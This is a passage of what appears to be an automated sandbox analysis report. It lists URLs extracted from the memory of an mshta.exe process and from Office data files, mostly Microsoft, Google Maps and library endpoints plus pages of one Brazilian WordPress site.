Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://devnull.onenote.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://directory.services.
Source: js[2].js.10.dr	String found in binary or memory: https://earthbuilder.googleapis.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ecs.office.com/config/v2/Office
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://entitlement.diagnostics.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section9
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_sectionM
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatosG
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura&547#.
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_sectionK
Source: mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosrce
Source: mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicosk
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br//
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/1
Source: mshta.exe, 0000000A.00000003.381866388.000000000C449000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/G
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.514385925.0000000006DE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.375180689.0000000006DE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 0000000A.00000002.514385925.0000000006DE5000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.375180689.0000000006DE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1tom
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381882969.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.brtxt
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://geo0.ggpht.com/cT16
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo0.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo1.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://geo1.ggpht.com/cbkd
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo2.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://geo3.ggpht.com/cbk
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://geo3.ggpht.com/cbk.l
Source: mshta.exe, 0000000A.00000002.523111822.000000000C421000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.304154911.00000000068CF000.00000004.00000800.00020000.00000000.sdmp, owl.theme.default.min[1].css.10.dr, owl.carousel.min[1].css.10.dr, owl.carousel[1].js.10.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, superfish[1].js.10.dr	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: mshta.exe, 0000000A.00000003.354759757.000000000797A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.518830856.000000000797B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joeldbirch/onHoverIntentx
Source: animate-logo[1].css.10.dr	String found in binary or memory: https://github.com/nickpettit/glide
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381925423.000000000C49A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, jquery.simplr.smoothscroll.min[1].js.10.dr	String found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://globaldisco.crm.dynamics.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://graph.ppe.windows.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://graph.ppe.windows.net/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://graph.windows.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://graph.windows.net/
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gtranslate.io/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://incidents.diagnostics.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/client
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://invites.office.com/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms0.google.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms0.google.com/kh?v=928
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms1.google.com/kh?v=143
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://khms1.google.com/kh?v=928
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh3.ggpht.com/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh4.ggpht.com/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh5.ggpht.com/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://lh6.ggpht.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://lifecycle.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://login.microsoftonline.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://login.windows.local
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://management.azure.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://management.azure.com/
Source: mshta.exe, 0000000A.00000002.511747640.0000000006234000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://maps.gh168
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.google.com
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com
Source: mshta.exe, 0000000A.00000002.523387638.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.GetMetadata
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearch
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps/vt
Source: mshta.exe, 0000000A.00000003.304341835.0000000006982000.00000004.00000800.00020000.00000000.sdmp, js[2].js.10.dr	String found in binary or memory: https://maps.googleapis.com/maps_api_js_slo/log?hasfast=true
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.action.office.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.action.office.com/setcampaignaction
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.action.office.com/setuseraction16
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.engagement.office.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.engagement.office.com/campaignmetadataaggregator
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.lifecycle.office.com/getcustommessage16
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://messaging.office.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://my.microsoftpersonalcontent.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ncus.contentsync.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ncus.pagecontentsync.
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://officeapps.live.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://onedrive.live.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://osi.office.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://otelrules.azureedge.net
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office365.com
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: D883D8AE-6635-40DC-B860-4A09D15352FD.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
